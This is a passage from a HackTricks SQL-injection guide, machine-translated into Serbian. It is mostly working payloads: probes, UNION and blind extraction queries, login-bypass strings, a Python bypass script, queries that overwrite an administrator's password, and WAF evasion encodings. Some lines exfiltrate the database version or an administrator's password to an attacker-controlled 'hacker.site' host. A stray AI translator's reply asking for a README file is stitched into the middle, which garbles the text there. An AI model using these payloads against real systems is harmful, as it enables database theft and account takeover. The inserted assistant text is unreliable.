SQL Injection

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Šta je SQL injection?

An SQL injection je bezbednosni propust koji omogućava napadačima da ometaju upite baze podataka aplikacije. Ovaj propust može omogućiti napadačima da pregledaju, izmene ili obrišu podatke kojima ne bi smeli pristupiti, uključujući informacije drugih korisnika ili bilo koje podatke kojima aplikacija ima pristup. Takve radnje mogu dovesti do trajnih promena u funkcionalnosti ili sadržaju aplikacije, pa čak i do kompromitacije servera ili uskraćivanja usluge.

Otkrivanje ulazne tačke

Kada sajt deluje ranjivo na SQL injection (SQLi) zbog neobičnih odgovora servera na unose povezane sa SQLi, prvi korak je da se razume kako da se ubace podaci u upit bez njegovog prekidanja. To zahteva identifikaciju metode kako efikasno izaći iz trenutnog konteksta. Ovo su neki korisni primeri:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Zatim, treba da znaš kako da popraviš upit tako da nema grešaka. Da bi popravio upit možeš da uneseš podatke tako da prethodni upit prihvati nove podatke, ili možeš jednostavno da uneseš svoje podatke i dodaš simbol za komentar na kraju.

Napomena: ako možeš da vidiš poruke o grešci ili možeš primetiti razlike kada upit radi i kada ne radi, ova faza će biti lakša.

Komentari

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Potvrđivanje pomoću logičkih operacija

Pouzdan metod za potvrdu ranjivosti na SQL injection uključuje izvršavanje logičke operacije i posmatranje očekivanih rezultata. Na primer, GET parameter kao što je ?username=Peter koji daje identičan sadržaj kada se izmeni u ?username=Peter' or '1'='1 ukazuje na ranjivost na SQL injection.

Slično tome, primena matematičkih operacija služi kao efektivna tehnika za potvrdu. Na primer, ako pristupanje ?id=1 i ?id=2-1 daje isti rezultat, to ukazuje na SQL injection.

Primeri koji demonstriraju potvrdu pomoću logičkih operacija:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Ova lista reči je kreirana da pokuša da potvrdi SQLinjections na predloženi način:

Pravi SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

Potvrđivanje vremenskom analizom

U nekim slučajevima nećete primetiti nikakvu promenu na stranici koju testirate. Stoga, dobar način da otkrijete blind SQL injections je naterati DB da izvrši radnje koje će imati uticaj na vreme potrebno za učitavanje stranice.
Stoga ćemo u SQL query concat-ovati operaciju koja će potrajati dugo da se izvrši:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

U nekim slučajevima sleep functions won’t be allowed. Umesto korišćenja tih funkcija, možete naterati upit da izvrši složene operacije koje će trajati nekoliko sekundi. Primeri ovih tehnika biće komentarisani posebno za svaku tehnologiju (ako ih ima).

Identifikacija Back-end-a

Najbolji način da identifikujete back-end je da pokušate da izvršite funkcije različitih back-end-ova. Možete koristiti sleep functions iz prethodnog odeljka ili ove (tabela iz payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Takođe, ako imate pristup izlazu upita, možete naterati da ispisuje verziju baze podataka.

Tip

U nastavku ćemo razmotriti različite metode za iskorišćavanje različitih vrsta SQL Injection. Koristićemo MySQL kao primer.

Identifikacija pomoću PortSwigger

SQL injection cheat sheet | Web Security Academy

Exploiting Union Based

Detecting number of columns

Ako možete videti izlaz upita, ovo je najbolji način da ga iskoristite.
Pre svega, treba da saznamo broj kolona koje početni zahtev vraća. Ovo je zato što oba upita moraju vratiti isti broj kolona.
U tu svrhu se obično koriste dve metode:

Order/Group by

Da biste odredili broj kolona u upitu, postepeno povećavajte broj korišćen u ORDER BY ili GROUP BY klauzulama dok ne dobijete grešku. Uprkos različitim funkcionalnostima GROUP BY i ORDER BY u SQL-u, obe se mogu identično koristiti za utvrđivanje broja kolona upita.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Izaberite sve više i više NULL vrednosti dok upit ne bude ispravan:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Koristite nullvrednosti jer u nekim slučajevima tip kolona na obe strane upita mora biti isti, a null je validan u svakom slučaju.

Izdvajanje database names, table names i column names

U narednim primerima ćemo dohvatiti imena svih databases, naziv table u jednoj database i nazive columns te table:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Postoji drugačiji način da se otkriju ovi podaci na svakoj bazi podataka, ali metodologija je uvek ista.

Eksploatisanje skrivenog Union Based

Kada je izlaz execution query-ja vidljiv, ali union-based injection deluje neostvarivo, to ukazuje na prisustvo skrivenog union-based injection. Ovaj scenario često vodi ka blind injection situaciji. Da biste transformisali blind injection u union-based, potrebno je rasvetliti execution query koji se izvršava na backend-u.

Ovo se može postići korišćenjem blind injection tehnika u kombinaciji sa podrazumevanim tabelama specifičnim za ciljnu Database Management System (DBMS). Za razumevanje ovih podrazumevanih tabela, preporučuje se konsultovanje dokumentacije ciljnog DBMS-a.

Kada je execution query izvučen, neophodno je prilagoditi payload tako da bezbedno zatvori originalni query. Zatim se union query dodaje u tvoj payload, čime se omogućava eksploatacija novo-dostupnog union-based injection.

Za detaljnije informacije, pogledajte ceo članak dostupan na Healing Blind Injections.

Eksploatisanje Error based

Ako iz nekog razloga ne možete videti output od query, ali možete videti error messages, možete iskoristiti ove error messages da ex-filtrate podatke iz baze podataka.\
Prateći sličan tok kao kod Union Based eksploatacije, mogli biste uspeti da dump-ujete DB.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Eksploatacija Blind SQLi

U ovom slučaju ne možete videti rezultate upita ili greške, ali možete razaznati kada upit vrati true ili false odgovor zato što se sadržaj na stranici razlikuje.
U tom slučaju možete zloupotrebiti to ponašanje da dump-ujete bazu podataka znak po znak:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Eksploatisanje Error Blind SQLi

Ovo je isti slučaj kao i pre, ali umesto da razlikuješ između true/false odgovora iz upita, možeš razlikovati da li postoji greška u SQL upitu ili ne (možda zato što se HTTP server sruši). Dakle, u ovom slučaju možeš izazvati SQLerror svaki put kada pogodiš tačan char:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Eksploatacija Time Based SQLi

U ovom slučaju ne postoji nijedan način da se razlikuje odgovor upita na osnovu konteksta stranice. Ali, možete naterati stranicu da se učitava duže ako je pogođen karakter tačan. Već smo videli ovu tehniku ranije u upotrebi da bismo potvrdili SQLi vuln.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Možete koristiti stacked queries da izvršite više upita uzastopno. Imajte na umu da, iako se naknadni upiti izvršavaju, rezultati nisu vraćeni aplikaciji. Dakle, ova tehnika je prvenstveno korisna u vezi sa blind vulnerabilities gde možete iskoristiti drugi upit da pokrenete DNS lookup, uslovnu grešku ili vremensko odlaganje.

Oracle ne podržava stacked queries. MySQL, Microsoft i PostgreSQL ih podržavaju: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Ako ni jedna druga exploitation method nije uspela, možete pokušati naterati database ex-filtrate informacije na external host pod vašom kontrolom. Na primer, putem DNS queries:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Out of band data exfiltration via XXE

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Automated Exploitation

Pogledajte SQLMap Cheatsheet kako biste iskoristili SQLi ranjivost pomoću sqlmap.

Specifične informacije po tehnologiji

Već smo razmatrali sve načine iskorišćavanja SQL Injection ranjivosti. Pronađite još trikova zavisnih od vrste baze podataka u ovoj knjizi:

Ili ćete naći mnogo trikova vezanih za: MySQL, PostgreSQL, Oracle, MSSQL, SQLite i HQL u https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Authentication bypass

Lista pokušaja zaobilaženja funkcionalnosti prijave:

Login bypass List

Raw hash authentication Bypass

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Ovaj upit prikazuje ranjivost kada se MD5 koristi sa true za raw output u proverama autentikacije, zbog čega je sistem podložan SQL injectionu. Napadači to mogu iskoristiti formiranjem unosa koji, kada se heširaju, proizvode neočekivane delove SQL komandi, što dovodi do neovlašćenog pristupa.

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Injected hash authentication Bypass

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Preporučena lista:

Kao username koristite svaku liniju liste, a kao password uvek: Pass1234.
(Ovi payloads su takođe uključeni u veliku listu pomenutu na početku ovog odeljka)

GBK Authentication Bypass

AKO ’ is being scaped možete koristiti %A8%27, i kada ’ gets scaped biće kreirano: 0xA80x5c0x27 (╘’)

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python skripta:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontext)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

INSERT naredba

Izmena lozinke postojećeg objekta/korisnika

Da biste to uradili treba da pokušate da kreirate novi objekat sa imenom istim kao “master object” (verovatno admin u slučaju korisnika) menjajući nešto:

  • Kreiraj korisnika sa imenom: AdMIn (velika & mala slova)
  • Kreiraj korisnika sa imenom: admin=
  • SQL Truncation Attack (kad postoji neko ograničenje dužine u username ili email) –> Kreiraj korisnika sa imenom: admin [a lot of spaces] a

SQL Truncation Attack

Ako je baza podatka ranjiva i maksimalan broj karaktera za username je na primer 30, a želite da se predstavljate kao korisnik admin, pokušajte da kreirate username nazvan: “admin [30 spaces] a” i bilo koju lozinku.

Baza će check da li uneti username exists u bazi podataka. Ako not, ona će cut username do max allowed number of characters (u ovom slučaju do: “admin [25 spaces]”) i potom će automatski ukloniti sve razmake na kraju prilikom update-a u bazi korisnika “admin” sa novom lozinkom (može se pojaviti neka greška ali to ne znači da ovo nije uspelo).

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Dodajte onoliko ','','' koliko smatrate da je potrebno da izađete iz VALUES statement-a. Ako se izvrši delay, imate SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

Klauzula ON DUPLICATE KEY UPDATE u MySQL-u se koristi da odredi akcije koje baza treba da preduzme kada se pokuša ubaciti red koji bi doveo do duplikata vrednosti u UNIQUE indeksu ili PRIMARY KEY. Sledeći primer pokazuje kako se ova funkcija može iskoristiti za izmenu lozinke administratorskog naloga:

Example Payload Injection:

An injection payload može biti konstruisan na sledeći način, gde se pokušava ubaciti dva reda u tabelu users. Prvi red je mamac, a drugi cilja e-mail postojećeg administratora sa namerom da ažurira lozinku:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Evo kako to funkcioniše:

  • Upit pokušava da ubaci dva reda: jedan za generic_user@example.com i drugi za admin_generic@example.com.
  • Ako red za admin_generic@example.com već postoji, ON DUPLICATE KEY UPDATE klauzula se aktivira i naređuje MySQL-u da ažurira polje password postojećeg reda na “bcrypt_hash_of_newpassword”.
  • Posledično, authentication se onda može pokušati koristeći admin_generic@example.com sa lozinkom koja odgovara bcrypt hashu (“bcrypt_hash_of_newpassword” predstavlja bcrypt hash nove lozinke, i treba ga zameniti stvarnim hash-om željene lozinke).

Izdvajanje informacija

Kreiranje dva naloga istovremeno

Prilikom pokušaja kreiranja novog korisnika, potrebni su username, password i email:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Korišćenje decimalnog ili heksadecimalnog

Korišćenjem ove tehnike možete izvući informacije kreiranjem samo 1 account. Važno je napomenuti da ne morate ništa komentarisati.

Koristeći hex2dec i substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Ne mogu direktno pristupiti vašem fajl sistemu. Pošaljite sadržaj datoteke src/pentesting-web/sql-injection/README.md ili pokrenite jednu od sledećih komandi i nalepite izlaz ovde:

cat src/pentesting-web/sql-injection/README.md

ili

sed -n ‘1,200p’ src/pentesting-web/sql-injection/README.md

Kada dobijem tekst, preveduću ga na srpski uz očuvanje markdown i HTML sintakse, linkova i putanja.

__import__('binascii').unhexlify(hex(215573607263)[2:])

Korišćenje hex i replace (i substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection je situacija u kojoj injectable query nije onaj koji daje izlaz, već izlaz injectable query ide u query koji daje izlaz. (From Paper)

Primer:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Početni bypass-i odavde

Bez razmaka bypass

No Space (%20) - bypass koristeći alternative za whitespace

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass koristeći komentare

?id=1/*comment*/and/**/1=1/**/--

Bez razmaka - bypass korišćenjem zagrada

?id=(1)and(1)=(1)--

No commas bypass

No Comma - bypass koristeći OFFSET, FROM i JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Generički Bypasses

Blacklist korišćenjem keywords - bypass korišćenjem uppercase/lowercase

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist koristeći ključne reči bez obzira na velika/mala slova - zaobilaženje korišćenjem ekvivalentnog operatora

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF bypass

Detaljnije objašnjenje ovog trika možete pronaći na gosecure blog.
U suštini, možete koristiti scientific notation na neočekivane načine kako biste izveli WAF bypass:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Zaobilaženje ograničenja imena kolona

Prvo, primetite да ако originalni upит и tabela iz koje želite izvući flag imaju isti broj kolona možete jednostavno uraditi: 0 UNION SELECT * FROM flag

Moguće је pristupiti trećoj koloni tabele bez korišćenja njenog imena koristeći upit kao sledeći: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, tako da би у sqlinjection ovo изгледало ovako:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Ili koristeći comma bypass:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Ovaj trik je preuzet sa https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Column/tablename injection in SELECT list via subqueries

Ako se korisnički unos konkatenira u SELECT listu ili table/column identifiers, prepared statements neće pomoći jer bind parameters štite samo values, a ne identifiers. Uobičajen ranjiv obrazac je:

// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

Ideja eksploatacije: injektuj subquery u poziciju polja da bi eksfiltrirao proizvoljne podatke:

-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

Napomene:

  • Ovo radi čak i kada WHERE klauzula koristi vezani parametar, zato što je lista identifikatora i dalje konkatenirana kao string.
  • Neke stack-ove dodatno dozvoljavaju kontrolu naziva tabele (tablename injection), omogućavajući čitanje između tabela.
  • Output sinks mogu reflektovati izabranu vrednost u HTML/JSON, omogućavajući XSS ili eksfiltraciju tokena direktno iz odgovora.

Mitigacije:

  • Nikada ne konkatenirajte identifikatore iz korisničkog inputa. Mapirajte dozvoljene nazive kolona na fiksnu listu dozvoljenih vrednosti i pravilno navodite identifikatore.
  • Ako je potreban dinamički pristup tabelama, ograničite ga na konačan skup i rešavajte na strani servera iz bezbednog mapiranja.

SQLi preko AST/filter-to-SQL konvertera (JSON_VALUE predicates)

Neki framework-i pretvaraju strukturisane filter AST-ove u raw SQL boolean fragmente (npr. metadata filters ili JSON predicates) i zatim konkateniraju te fragmente u veće upite. Ako konverter obavija string vrednosti kao '%s' bez escapinga, jedinstveni navodnik u korisničkom unosu prekida literal i ostatak se parsira kao SQL.

Example pattern (conceptual):

JSON_VALUE(metadata, '$.department') = '<user_value>'

Payload (URL-encoded): %27%20OR%20%271%27%3D%271 → dekodirano: ' OR '1'='1 → uslov postaje:

JSON_VALUE(metadata, '$.department') = '' OR '1'='1'

ORDER BY / SQLi zasnovan na identifikatorima (PDO ograničenje)

Pripremljeni upiti ne mogu vezivati identifikatore (imena kolona ili tabela). Uobičajen nesiguran obrazac je uzeti korisnički kontrolisan parametar sort i konstruisati ORDER BY koristeći konkatenaciju stringova, ponekad omotavajući unos u backtick-ove da bi ga „sanitizovali“. Ovo i dalje omogućava SQLi jer je kontekst identifikatora pod kontrolom napadača.

Ranljiv obrazac:

$sort = $_POST['sort'];
$q = "SELECT id,item_name FROM items WHERE user_id=? ORDER BY `$sort`";
$stmt = $pdo->prepare($q);
$stmt->execute([$user_id]);

Signali u saobraćaju:

  • Sort parametar u POST (često sort=column), nije fiksna lista dozvoljenih vrednosti.
  • Promena sort prekida upit ili menja redosled izlaza.

Alatke za predlaganje WAF bypass-a

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester \xc2\xb7 GitHub

Ostali vodiči

Brute-Force Detection List

Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks